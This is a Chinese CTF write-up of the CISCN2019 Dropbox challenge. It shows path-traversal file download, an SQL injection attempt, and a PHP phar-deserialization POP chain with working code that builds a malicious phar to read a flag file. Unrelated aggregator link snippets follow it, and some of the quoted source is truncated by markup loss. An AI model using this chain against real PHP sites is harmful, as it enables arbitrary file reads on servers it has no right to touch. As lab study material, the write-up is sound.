snowlyzz
snowlyzz

[CISCN2019 华北赛区 Day1 Web1]Dropbox

目录

前言：

考点：

前置知识：

使用的前提条件：

解题：

参考文章：

前言：

 。。。

考点：

代码审计

Phar反序列化

前置知识：

引入一个 Y4师傅的文章，这里我就不班门弄斧：[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

要简单了解的是phar的四个部分：

1，stub

phar 文件的表示，以 xxxxxx 为固定形式，前面内容可以变，点必须 __HALT__COMPILER();?>结尾。

2，a mainfest describing the contents

该部分是phar文件中被压缩的文件的一些信息，其中meta-data部分的信息会被序列化，即执行serialize()函数，而phar://就相当于对这部分的内容进行反序列化，此处也正是漏洞点所在。

3，the file contents

这部分存储的是文件的内容，在没有其它特殊要求的情况下，这里面的内容不做约束。

4. a signature for verifying Phar integrity

数字前面 ，在最末尾。

使用的前提条件：

1. phar 文件可以上传至服务器。

2. 文件操作入 file_exists() .file_get_content(),fopen() ,要有可利用的魔术方法作为跳板

3.文件流参数可控，且phar：//协议可用  /  phar 等特殊字符没有被过滤

解题：

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第1张图片

 看到登录框，先 用万能密码 1' or 1=1#  试了一下 没有反应。就注册一个账号登进去。

进入以后我们发现左上角有一个上传文件的功能，然后我们先随便建个文档上传提交，发现它要求得文件类型只能是gif/jpg/png的类型，然后进一步测试发现，只更改文件后缀名是没有用的，需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第2张图片

就算你上传 1.php 文件，他也会自动改成png 格式。

上传成功后，能够看到下载和删除两个按钮，一般来说，下载这两字 可能会有任意文件下载的。

抓包看 ，确实如此

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第3张图片

 filename 是可控的，我们试着 下载 flag.txt 发现是不行的，无奈之下只能下载一些 所有功能的源代码。  不过要注意的是 ， 文件都放在 上上级目录了，所以我们 下载文件 需要加上 ../ ../

[CISCN2019 华北赛区 Day1 Web1]Dropbox_第4张图片

 主要看 class.php 文件，因为有file_get_contents函数，可以让我们读取flag。

db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
';
        $table .= '';
        foreach ($this->funcs as $func) {
            $table .= '';
        }
        $table .= '';
        $table .= '';
        foreach ($this->results as $filename => $result) {
            $table .= '';
            foreach ($result as $func => $value) {
                $table .= '';
            }
            $table .= '';
            $table .= '';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

这个利用点 file_get_contents 没有对 关键字进行过滤，所以 我们肯定是利用这个函数来获取flag 的。 所以我们应该怎么样利用呢？ 
首先是定义的 close 函数，我们跳转到哪里调用了这个close（）
跟进代码，看到是User类 的__destrust() 调用了 close()
[CISCN2019 华北赛区 Day1 Web1]Dropbox_第5张图片
 所以我们简单的逻辑  就是：  User-> __destruct() =>File -> close() -> 读取flag。
但是  试了一下，并没有回显，此时，我在前提条件说过，第二条要有可用魔术方法作为跳板，class.php 有一个 __call() 方法可以使用，恐怕想不利用他们都不行了。。。
[CISCN2019 华北赛区 Day1 Web1]Dropbox_第6张图片
如果想要读取文件内容，肯定要利用class.php中的File.close()，但是没有直接调用这个方法的语句；
 注意到 User类中在 __destruct时调用了close()，按原逻辑，$db应该是mysqli即数据库对象，但是我们可以构造$db指定为 File对象，这样就可以读取到文件了。
 可读取到文件不能呈现给我们，注意到 __call魔术方法，这个魔术方法的主要功能就是，如果要调用的方法我们这个类中不存在，就会去File中找这个方法，并把执行结果存入 $this->results[$file->name()][$func]，刚好我们利用这一点：让 $db为 FileList对象，当 $db销毁时，触发 __destruct，调用close()，由于 FileList没有这个方法，于是去 File类中找方法，读取到文件，存入 results
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。
返回读取结果：
     
   
  • __destruct正好会将 $this->results[$file->name()][$func]的内容打印出来
    •  
  
pop链：
db=new FileList(); 
	}
}

class FileList {
	private $files;
	private $results;
	private $funcs;
	public function __construct(){
		$this->files=array(new File());  
		$this->results=array();
		$this->funcs=array();
	}
}

class File {
	public $filename="/flag.txt";
}

$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件，文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","snowy"); //添加压缩文件，文件名字为shell.txt,内容为snowy
$phar->stopBuffering();

注意：想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件
生成phar文件：
[CISCN2019 华北赛区 Day1 Web1]Dropbox_第7张图片
 改后缀上传：
 抓取delete.php的数据包，修改post提交的数据：
[CISCN2019 华北赛区 Day1 Web1]Dropbox_第8张图片
得到flag。
参考文章：
[CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)
[CISCN2019 华北赛区 Day1 Web1]Dropbox （phar反序列化）_Red snow的博客-CSDN博客
(1条消息) [CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

                    
                

        
你可能感兴趣的:(BUUCTF,php,开发语言)

        

            

                
    
                    
  • mac os 10.9 mysql_MAC OSX 10.9 apache php mysql 环境配置
                        AY05
macos10.9mysql
                        
    ＃终端内运行sudoapachectlstart#启动Apachesudoapachectlrestart#重启Apachesudoapachectlstop#停止Apache＃配置Apachesudovi/private/etc/apache2/httpd.conf#将里面的这一行去掉前面的##LoadModulephp5_modulelibexec/apache2/libphp5.so＃配置P
    
                    
    • 
                    
  • 2022-01-13 天气晴 心情好
                        楠楠的qzone

                        
    今天主要是吧系统的一些功能给转移到另外一个系统上，然后遇到了一个很差劲的客户，不过呢我也是见多了不去计较了，因为什么样的人都有，平常心就好。晚上去吧thinkphp6的基础知识好好的看了一下，还是学到了很多好东西
    
                    
    • 
                    
  • SQL笔记纯干货
                        AI入门修炼
oracle数据库sql
                        
    软件：DataGrip2023.2.3，phpstudy_pro,MySQL8.0.12目录1.DDL语句（数据定义语句）1.1数据库操作语言1.2数据表操作语言2.DML语句（数据操作语言）2.1增删改2.2题2.3备份表3.DQL语句（数据查询语言）3.1查询操作3.2题一3.3题二4.多表详解4.1一对多4.2多对多5.多表查询6.窗口函数7.拓展:upsert8.sql注入攻击演示9.拆表
    
                    
    • 
                    
  • 从0到1学PHP（二）：PHP 基本语法：构建代码的基石
                        奔跑吧邓邓子
项目攻略php开发语言基本语法
                        
    目录一、PHP标记与注释1.1PHP的起始和结束标记1.2单行注释和多行注释二、变量与数据类型2.1变量的定义、命名规则和使用方法2.2数据类型详解2.3数据类型的转换三、运算符与表达式3.1各类运算符的使用3.2表达式的组成和运算规则一、PHP标记与注释1.1PHP的起始和结束标记在PHP编程中，起始标记是极为重要的基础概念。当PHP解析器处理文件时，一旦识别到结束标记，标记之外的内容会被忽略。
    
                    
    • 
                    
  • 我的ThinkPHP5框架开发22讲：从入门到实践的探索之旅
                        a1237567892
安全
                        
    我的ThinkPHP5框架开发22讲：从入门到实践的探索之旅在编程的世界里，框架就像是一座座灯塔，照亮着开发者前行的道路。而当我第一次接触到ThinkPHP5这个PHP框架时，它就像是我探索路上的那颗最亮的星。今天，我想和大家分享我的ThinkPHP5框架开发22讲，这是我从一个初学者到逐渐熟练的实践过程。第1讲：初识ThinkPHP5记得那是一个阳光明媚的周末，我在网上浏览PHP框架的资料时，偶
    
                    
    • 
                    
  • 开启 PHP 初阶之旅：解锁高效入门之道
                        API_Zevin
php开发语言人工智能大数据前端python后端
                        
    在当今动态网页开发领域，PHP作为一门久经沙场的服务器端脚本语言，以其强大功能与广泛适用性，持续吸引着无数初学者踏入编程殿堂。若你决心攻克PHP，为Web开发世界添砖加瓦，一系列精准策略与实用方法将成为你加速入门的得力伙伴，引领你穿越初期懵懂，迈向熟练驾驭的新征程。一、筑牢基础：语法地基稳扎稳打PHP语法虽具灵活性，初学者仍需系统研习，构建扎实根基。从变量声明起步，领会PHP变量“$”符号前缀特色
    
                    
    • 
                    
  • 面试宝典
                        phpdi

                        
    1.引用变量考点引用变量定义：用不同的名字访问同一个变量内容cow机制遍历时的引用处理unset只会取消引用，不会销毁内存空间php中对象默认是引用传递，若需要复制，则需要使用clone2.常量及数据类型define，const；php5.6以用const定义常量不支持表达式；7种false情况:0,0.0,'','0',[],null，false；精度丢失；获取客户端，服务端ip；与app交互$
    
                    
    • 
                    
  • 从0到1学PHP（一）：PHP 基础入门：开启后端开发之旅
                        

                        
    目录一、PHP简介与发展历程1.1PHP定义与特点1.2在后端开发中的地位1.3发展阶段及重要版本更新二、PHP开发环境搭建2.1Windows系统下搭建步骤2.2Mac系统下搭建方法及常用工具2.3适合初学者的集成开发环境三、第一个PHP程序3.1编写"HelloWorld"程序3.2程序基本结构和执行过程3.3PHP代码的嵌入方式（在HTML中）一、PHP简介与发展历程1.1PHP定义与特点P
    
                    
    • 
                    
  • Ubuntu lamp
                        会飞的灰大狼
linuxubuntu
                        
    Ubuntulamp前言在Ubuntu安装lamp架构我们了解到lamp是完整的架构我们前面了解到了集合了Linux系统apacheMySQL和PHP语言的完整架构我们前面说了Centos7中编译安装lamp那么我们去说一下在Ubuntu中安装‍‍安装apache2‍apt直接安装apache2apt-yinstallapache2‍启动apache2systemctlstartapache2#测
    
                    
    • 
                    
  • 网络安全第14集
                        不灭锦鲤
web安全安全
                        
    前言：小迪安全14集，这集重点内容：0、什么是js渗透测试？在javascript中也存在变量和函数，存在可控变量和函数就有可能存在在漏洞，js开发的web应用和php、java开发的区别是，js能看得到的源代码，php看不到，但是风险就是未授权访问、配置信息泄露（加密算法、key秘钥等），源代码看得到，存在更多的url泄露，从而可能会出现未授权访问，从url，前提：web应用可以采用前端语言或后
    
                    
    • 
                    
  • 常见的Bug管理工具有哪些？（如JIRA、Bugzilla、禅道等）
                        海姐软件测试
缺陷管理bugjira
                        
    一、主流Bug管理工具分类及特点1.商业/企业级工具JIRA（Atlassian）特点：高度可定制，支持敏捷开发，集成CI/CD（如Jenkins）、Confluence等。适用场景：中大型团队，需复杂工作流和扩展生态。费用：按用户数收费，提供云版和本地部署。MantisBT特点：开源但支持商业服务，轻量级，适合中小团队。亮点：支持邮件通知、自定义字段。部署：需自建服务器（PHP+MySQL）。T
    
                    
    • 
                    
  • TP5中CURD那点事儿（五）
                        铁匠简记

                        
    模型关联一般说来模型关系包括一对一HAS_ONEBELONG_TO一对多HAS_MANYBELONG_TO多对多BELONGS_TO_MANY一对多一用户->多条评论Model层User模型Comment模型对应两张表名User.php中创建一个publiccomm()方法publicfunctioncomm(){//这是一个关系模型return$this->hasMany('Comment','
    
                    
    • 
                    
  • 开源TTS
                        vanloswang
综合TTS
                        
    Ekhohttp://sourceforge.net/projects/e-guidedog/files/Ekho/http://www.eguidedog.net/ekho.phpflitehttp://www.speech.cs.cmu.edu/flite/
    
                    
    • 
                    
  • PHP框架详解 - symfony框架
                        FLK_9090
phpsymfonyandroid
                        
    引言随着互联网技术的迅猛发展，Web应用程序的复杂性也在逐年增加。为了应对这种复杂性，开发者们需要更加高效、灵活的工具来简化开发流程、提高代码质量和维护性。在众多PHP框架中，Symfony凭借其模块化设计、高性能和丰富的文档支持，成为了众多开发者的首选。Symfony框架由法国公司SensioLabs开发并于2005年首次发布。它的设计哲学是为开发者提供一套高效且灵活的工具，帮助他们快速构建复杂
    
                    
    • 
                    
  • 博后
                        来自吐槽星

                        
    德州TheUniversityofTexasMDAndersonCancerCenterhttps://bbs.pku.edu.cn/v2/post-read.php?bid=41&threadid=16325339纽约MemorialSloanKetteringCancerCenterhttp://www.miccai.org/jobs-posting/memorial-sloan-ketter
    
                    
    • 
                    
  • JetBrains 2025 全家桶 IDEA、WebStorm、DataSpell、DataGrip、Pycharm、CLion、Rider、PhpStorm、GoLand
                        

                        
    原文地址：JetBrains2025全家桶11合1含IDEA、PyCharm、DataGrip、WebStrom、GoLand、CLion、PhpStorm、DataSpell等JetBrains2025全家桶11合1包含：IDEA、WebStorm、DataSpell、DataGrip、Pycharm、RustRover、CLion、Rider、PhpStorm、RubyMine、GoLand。
    
                    
    • 
                    
  • SSM+Vue共享充电宝管理系统 充电宝投放管理系统 共享充电宝维护管理系统Java
                        计算机程序老哥

                        
    作者主页：计算机毕业设计老哥有问题可以主页问我一、开发介绍1.1开发环境开发语言：Java数据库：MySQL系统架构：B/S后端：SSM(Spring+SpringMVC+Mybatis)前端：Vue工具：IDEA或者Eclipse，JDK1.8，Maven二、系统介绍2.1图片展示注册登录页面：登陆前端页面功能：首页、合作商户、充电宝投放、公告栏、个人中心、后台管理首页.png充电宝投放.png
    
                    
    • 
                    
  • kh dksl.php,php中取得URL的根域名的代码
                        克勒kk
khdksl.php
                        
    php中取得URL的根域名的代码发布于2014-12-1310:14:08|121次阅读|评论:0|来源:网友投递PHP开源脚本语言PHP(外文名:HypertextPreprocessor，中文名：“超文本预处理器”)是一种通用开源脚本语言。语法吸收了C语言、Java和Perl的特点，入门门槛较低，易于学习，使用广泛，主要适用于Web开发领域。PHP的文件后缀名为php。本文为大家讲解的是php
    
                    
    • 
                    
  • 深入详解K近邻算法（KNN）：基本概念、原理及在医学影像领域的应用与实现
                        猿享天开
近邻算法算法医学影像人工智能机器学习大模型
                        
    博主简介：CSDN博客专家、CSDN平台优质创作者，高级开发工程师，数学专业，10年以上C/C++,C#,Java等多种编程语言开发经验，拥有高级工程师证书；擅长C/C++、C#等开发语言，熟悉Java常用开发技术，能熟练应用常用数据库SQLserver,Oracle,mysql,postgresql等进行开发应用，熟悉DICOM医学影像及DICOM协议,业余时间自学JavaScript,Vue,
    
                    
    • 
                    
  • 机器学习模型评估：交叉验证、混淆矩阵、ROC曲线及其在医学影像领域的应用
                        猿享天开
机器学习矩阵人工智能DICOM医学影像模型评估
                        
    博主简介：CSDN博客专家、CSDN平台优质创作者，高级开发工程师，数学专业，10年以上C/C++,C#,Java等多种编程语言开发经验，拥有高级工程师证书；擅长C/C++、C#等开发语言，熟悉Java常用开发技术，能熟练应用常用数据库SQLserver,Oracle,mysql,postgresql等进行开发应用，熟悉DICOM医学影像及DICOM协议,业余时间自学JavaScript,Vue,
    
                    
    • 
                    
  • SMTPman，wp mail smtp轻松配置的连接指南
                        

                        
    SMTPman，wpmailsmtp轻松配置的连接指南很多站长会遇到默认发信失败、邮件被当垃圾邮件等问题，此时SMTPman，wpmailsmtp提供了稳定、安全的SMTP解决方案。选择SMTPman，wpmailsmtp，你将获得更高的邮件投递率和管理效率，让网站通讯变得更可靠。功能优势使用SMTPman，wpmailsmtp可以显著提升邮件发送成功率，因为默认的PHP邮件函数经常会被邮箱服务器
    
                    
    • 
                    
  • SMTPman，php smtp发送邮件配置教程解析！
                        tomcsdn31
SMTP邮件服务器邮件营销邮件群发营销邮件邮件接口SMTP服务器
                        
    SMTPman，phpsmtp发送邮件配置教程解析！不论是用户注册验证，还是系统通知，SMTPman，phpsmtp发送邮件都能保证邮件稳定送达。选择SMTPman，phpsmtp发送邮件的方式，可以有效提高送达率，且SMTPman，phpsmtp发送邮件配置灵活，适合各种环境。配置参数要成功实现SMTPman，phpsmtp发送邮件，必须配置正确的服务器参数。SMTPman，phpsmtp发送邮
    
                    
    • 
                    
  • 防伪溯源一体化管理系统解决方案
                        春城一个人的莎士比亚
网站小程序软件定制开发防伪溯源防伪溯源小程序防伪溯源解决方案防伪溯源方法防伪溯源软件防伪溯源一物一码
                        
    防伪溯源一体化管理系统一款基于FA+ThinkPHP和Uniapp进行开发的多平台（微信小程序、H5网页）溯源、防伪、管理一体化独立系统，拥有强大的防伪码和溯源码双码生成功能（内置多种生成规则）、批量大量导出防伪和溯源码码数据、支持代理商管理端（团队管理、采购，邀请代理商、出库等功能）、支持招商经理管理端（可管理代理商团队，邀请代理商，数据统计，采购订单统计），支持出厂员端（出库、入库）、文章资讯
    
                    
    • 
                    
  • 宝塔开放php openssl,[教程]Centos宝塔面板升级openssl增强nginxSSL安全性，openssl开启Http/2,Centos升级openssl...
                        weixin_39956353
宝塔开放phpopenssl
                        
    由于本站是采用的Centos7+宝塔面板搭建的LNMP环境，但是Centos7默认的openssl版本又太低，根据“漏洞参考这里：https://www.trustasia.com/OpenSSL-CVE-2016-2107-Padding-Oracle”查看这篇文章发现openssl低版本已经有一堆漏洞了，所以就萌生了升级openssl版本的想法。配置完后如图：openssl版本低会导致无论你怎
    
                    
    • 
                    
  • 探索PHP中的六边形架构：代码实践与设计哲学
                        脑叔
六边形架构PHP领域服务依赖规则UseCase对象
                        
    探索PHP中的六边形架构：代码实践与设计哲学背景简介本文基于书籍《AppendixA:HexagonalArchitecturewithPHP》的第43章内容，探讨了在PHP中实现六边形架构的实践方法和背后的设计哲学。六边形架构作为一种软件设计模式，旨在帮助开发者创建易于编写、测试和维护的应用程序。六边形架构的实践在软件开发中，业务规则与基础设施之间应该有清晰的分界。六边形架构通过端口和适配器的概
    
                    
    • 
                    
  • 【全开源】防伪溯源一体化管理系统源码（FastAdmin+ThinkPHP和Uniapp）
                        现任明教教主~
uni-app微信小程序
                        
    一款基于FastAdmin+ThinkPHP和Uniapp进行开发的多平台（微信小程序、H5网页）溯源、防伪、管理一体化独立系统，拥有强大的防伪码和溯源码双码生成功能（内置多种生成规则）、批量大量导出防伪和溯源码码数据、支持代理商管理端（团队管理、采购，邀请代理商、出库等功能）、支持招商经理管理端（可管理代理商团队，邀请代理商，数据统计，采购订单统计），支持出厂员端（出库、入库）、文章资讯、自定义
    
                    
    • 
                    
  • 【PHP开发900个实用技巧】779.PHP应用分层：告别面条代码的“结构化思维”
                        精通代码大仙
PHP开发900个实用技巧phpandroid开发语言程序员创富
                        
    【颠覆你的代码习惯】779招PHP分层秘籍：从"意大利面条"到"千层蛋糕"的华丽蜕变——结构化思维让你代码清爽如风！779.PHP应用分层：告别面条代码的'结构化思维'表现层：直面用户的'门面担当'业务层：核心逻辑的'指挥官'数据访问层：数据库的'翻译官'工具层：重复劳动的'终结者'痛点分析:用户交互和业务纠缠？解决:剥离HTML模板引擎痛点分析:业务逻辑到处复制？解决:封装可复用的Service
    
                    
    • 
                    
  • 【PHP开发900个实用技巧】767.模板方法模式（Template Method）：PHP算法骨架定义的“行为蓝图”
                        精通代码大仙
PHP开发900个实用技巧php装饰器模式android程序员创富
                        
    一招破解"复制粘贴炼狱"！模板方法模式让你在PHP中定义算法骨架，代码复用率飙升200%——这才是优雅开发的核心密码！PHP模板方法模式行为蓝图设计1.是什么？算法骨架初体验重复代码困境模式定义解析2.怎么做？实现步骤解析抽象类搭建钩子方法妙用3.实战：框架应用案例Laravel示例支付流程设计4.陷阱警报过度继承灾难违反里氏替换5.高级进化论策略模式组合回调函数变体目录：是什么？算法骨架初体验怎
    
                    
    • 
                    
  • 【PHP开发900个实用技巧】765.代理模式（Proxy）：PHP控制对象访问的“智能门卫”
                        精通代码大仙
PHP开发900个实用技巧php装饰器模式android程序员创富
                        
    PHP访问控制的“智能管家”：揭秘代理模式如何让对象访问更安全、更高效本文深度剖析PHP代理模式的实战技巧，直击对象访问中的3大痛点，通过真实代码案例教你打造轻量级“访问门卫”，解决性能损耗、权限失控、代码臃肿难题。掌握这招，让你的PHP对象像VIP一样拥有专属管家！代理模式（Proxy）”智能门卫1.代理模式是什么2.为啥需要看门人？3.PHP实战三剑客4.典型场景避坑指南结构：代理器+本体访问
    
                    
    • 
                    
  • 【最新版】防伪溯源一体化管理系统+uniapp前端+搭建教程
                        fakaifa
fakaifa精品源码uni-app前端小程序phpcrmeb防伪溯源一体化防伪溯源系统
                        
    一.介绍防伪溯源一体化管理系统基于ThinkPHP和Uniapp进行开发的多平台（微信小程序、H5网页）溯源、防伪、管理一体化独立系统，拥有强大的防伪码和溯源码双码生成功能（内置多种生成规则）、批量大量导出防伪和溯源码码数据、支持代理商管理端（团队管理、采购，邀请代理商、出库等功能）、支持招商经理管理端（可管理代理商团队，邀请代理商，数据统计，采购订单统计），支持出厂员端（出库、入库）、文章资讯、
    
                    
    • 
                                
  • VMware Workstation 11 或者 VMware Player 7安装MAC OS X 10.10 Yosemite
                                    iwindyforest
vmwaremac os10.10workstationplayer
                                    
    最近尝试了下VMware下安装MacOS 系统， 
安装过程中发现网上可供参考的文章都是VMware Workstation 10以下， MacOS X 10.9以下的文章， 
只能提供大概的思路， 但是实际安装起来由于版本问题， 走了不少弯路， 所以我尝试写以下总结， 希望能给有兴趣安装OSX的人提供一点帮助。 
  
  
写在前面的话： 
其实安装好后发现， 由于我的th
    
                                
    • 
                                
  • 关于《基于模型驱动的B/S在线开发平台》源代码开源的疑虑？
                                    deathwknight
JavaScriptjava框架
                                    
    本人从学习Java开发到现在已有10年整，从一个要自学 java买成javascript的小菜鸟，成长为只会java和javascript语言的老菜鸟（个人邮箱：[email protected]） 
 
一路走来，跌跌撞撞。用自己的三年多业余时间，瞎搞一个小东西（基于模型驱动的B/S在线开发平台，非MVC框架、非代码生成）。希望与大家一起分享，同时有许些疑虑，希望有人可以交流下 
 
平台
    
                                
    • 
                                
  • 如何把maven项目转成web项目
                                    Kai_Ge
mavenMyEclipse
                                    
    创建Web工程，使用eclipse ee创建maven web工程 1.右键项目,选择Project Facets,点击Convert to faceted from 2.更改Dynamic Web Module的Version为2.5.(3.0为Java7的,Tomcat6不支持). 如果提示错误,可能需要在Java Compiler设置Compiler compl
    
                                
    • 
                                
  • 主管？？？
                                    Array_06
工作
                                    
    转载：http://www.blogjava.net/fastzch/archive/2010/11/25/339054.html 
 
 
 
 
很久以前跟同事参加的培训，同事整理得很详细，必须得转！ 
 
前段时间，公司有组织中高阶主管及其培养干部进行了为期三天的管理训练培训。三天的课程下来，虽然内容较多，因对老师三天来的课程内容深有感触，故借着整理学习心得的机会，将三天来的培训课程做了一个
    
                                
    • 
                                
  • python内置函数大全
                                    2002wmj
python
                                    
    最近一直在看python的document，打算在基础方面重点看一下python的keyword、Build-in Function、Build-in Constants、Build-in Types、Build-in Exception这四个方面，其实在看的时候发现整个《The Python Standard Library》章节都是很不错的，其中描述了很多不错的主题。先把Build-in Fu
    
                                
    • 
                                
  • JSP页面通过JQUERY合并行
                                    357029540
JavaScriptjquery
                                    
    在写程序的过程中我们难免会遇到在页面上合并单元行的情况，如图所示 
 
 
如果对于会的同学可能很简单，但是对没有思路的同学来说还是比较麻烦的，提供一下用JQUERY实现的参考代码 
 
function mergeCell(){ 
        var trs = $("#table tr"); 
&nb
    
                                
    • 
                                
  • Java基础
                                    冰天百华
java基础
                                    
    学习函数式编程 
package base;

import java.text.DecimalFormat;

public class Main {

	public static void main(String[] args) {
//		Integer a = 4;  
//		Double aa = (double)a  / 100000;  
//		Decimal
    
                                
    • 
                                
  • unix时间戳相互转换
                                    adminjun
转换unix时间戳
                                    
    如何在不同编程语言中获取现在的Unix时间戳(Unix timestamp)？     Java time   JavaScript Math.round(new Date().getTime()/1000)
getTime()返回数值的单位是毫秒   Microsoft .NET / C# epoch = (DateTime.Now.ToUniversalTime().Ticks - 62135
    
                                
    • 
                                
  • 作为一个合格程序员该做的事
                                    aijuans
程序员
                                    
    作为一个合格程序员每天该做的事   1、总结自己一天任务的完成情况 最好的方式是写工作日志，把自己今天完成了什么事情，遇见了什么问题都记录下来，日后翻看好处多多 
2、考虑自己明天应该做的主要工作 把明天要做的事情列出来，并按照优先级排列，第二天应该把自己效率最高的时间分配给最重要的工作 
3、考虑自己一天工作中失误的地方，并想出避免下一次再犯的方法 出错不要紧，最重
    
                                
    • 
                                
  • 由html5视频播放引发的总结
                                    ayaoxinchao
html5视频video
                                    
    前言 
  
项目中存在视频播放的功能，前期设计是以flash播放器播放视频的。但是现在由于需要兼容苹果的设备，必须采用html5的方式来播放视频。我就出于兴趣对html5播放视频做了简单的了解，不了解不知道，水真是很深。本文所记录的知识一些浅尝辄止的知识，说起来很惭愧。 
  
视频结构 
  
本该直接介绍html5的<video>的，但鉴于本人对视频
    
                                
    • 
                                
  • 解决httpclient访问自签名https报javax.net.ssl.SSLHandshakeException: sun.security.validat
                                    bewithme
httpclient
                                    
         如果你构建了一个https协议的站点，而此站点的安全证书并不是合法的第三方证书颁发机构所签发，那么你用httpclient去访问此站点会报如下错误 
  
javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path bu
    
                                
    • 
                                
  • Jedis连接池的入门级使用
                                    bijian1013
redisredis数据库jedis
                                    
    Jedis连接池操作步骤如下： 
        a.获取Jedis实例需要从JedisPool中获取； 
        b.用完Jedis实例需要返还给JedisPool； 
        c.如果Jedis在使用过程中出错，则也需要还给JedisPool； 
packag
    
                                
    • 
                                
  • 变与不变
                                    bingyingao
不变变亲情永恒
                                    
    变与不变 
   周末骑车转到了五年前租住的小区，曾经最爱吃的西北面馆、江西水饺、手工拉面早已不在， 
   各种店铺都换了好几茬，这些是变的。 
   三年前还很流行的一款手机在今天看起来已经落后的不像样子。 
   三年前还运行的好好的一家公司，今天也已经不复存在。 
   一座座高楼拔地而起，
    
                                
    • 
                                
  • 【Scala十】Scala核心四：集合框架之List
                                    bit1129
scala
                                    
    Spark的RDD作为一个分布式不可变的数据集合，它提供的转换操作，很多是借鉴于Scala的集合框架提供的一些函数，因此，有必要对Scala的集合进行详细的了解 
  
1. 泛型集合都是协变的，对于List而言，如果B是A的子类，那么List[B]也是List[A]的子类，即可以把List[B]的实例赋值给List[A]变量 
  
2. 给变量赋值(注意val关键字，a，b
    
                                
    • 
                                
  • Nested Functions in C
                                    bookjovi
cclosure
                                    
      
Nested Functions 又称closure，属于functional language中的概念，一直以为C中是不支持closure的，现在看来我错了，不过C标准中是不支持的，而GCC支持。 
  
既然GCC支持了closure，那么 lexical scoping自然也支持了，同时在C中label也是可以在nested functions中自由跳转的
    
                                
    • 
                                
  • Java-Collections Framework学习与总结-WeakHashMap
                                    BrokenDreams
Collections
                                    
            总结这个类之前，首先看一下Java引用的相关知识。Java的引用分为四种：强引用、软引用、弱引用和虚引用。 
 
        
强引用：就是常见的代码中的引用，如Object o = new Object();存在强引用的对象不会被垃圾收集
    
                                
    • 
                                
  • 读《研磨设计模式》-代码笔记-解释器模式-Interpret
                                    bylijinnan
java设计模式
                                    
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ 
 
 

package design.pattern;

/*
 * 解释器（Interpreter）模式的意图是可以按照自己定义的组合规则集合来组合可执行对象
 * 
 * 代码示例实现XML里面1.读取单个元素的值 2.读取单个属性的值
 * 多
    
                                
    • 
                                
  • After Effects操作&快捷键
                                    cherishLC
After Effects
                                    
    1、快捷键官方文档 
 
 
 中文版：https://helpx.adobe.com/cn/after-effects/using/keyboard-shortcuts-reference.html  
 英文版：https://helpx.adobe.com/after-effects/using/keyboard-shortcuts-reference.html  
 
 
 2、常用快捷键
    
                                
    • 
                                
  • Maven 常用命令
                                    crabdave
maven
                                    
    Maven 常用命令 
  
mvn archetype:generate 
mvn install 
mvn clean 
mvn clean complie 
mvn clean test 
mvn clean install 
mvn clean package 
mvn test 
mvn package 
mvn site 
  
mvn dependency:res
    
                                
    • 
                                
  • shell bad substitution
                                    daizj
shell脚本
                                    
    #!/bin/sh 
 
/data/script/common/run_cmd.exp 192.168.13.168 "impala-shell -islave4 -q 'insert OVERWRITE table imeis.${tableName} select ${selectFields}, ds, fnv_hash(concat(cast(ds as string), im
    
                                
    • 
                                
  • Java SE 第二讲（原生数据类型 Primitive Data Type）
                                    dcj3sjt126com
java
                                    
    Java SE  第二讲： 
 
1.   Windows: notepad, editplus, ultraedit, gvim 
Linux: vi, vim, gedit 
 
2.   Java 中的数据类型分为两大类： 
1）原生数据类型  （Primitive Data Type） 
2）引用类型（对象类型）  （R
    
                                
    • 
                                
  • CGridView中实现批量删除
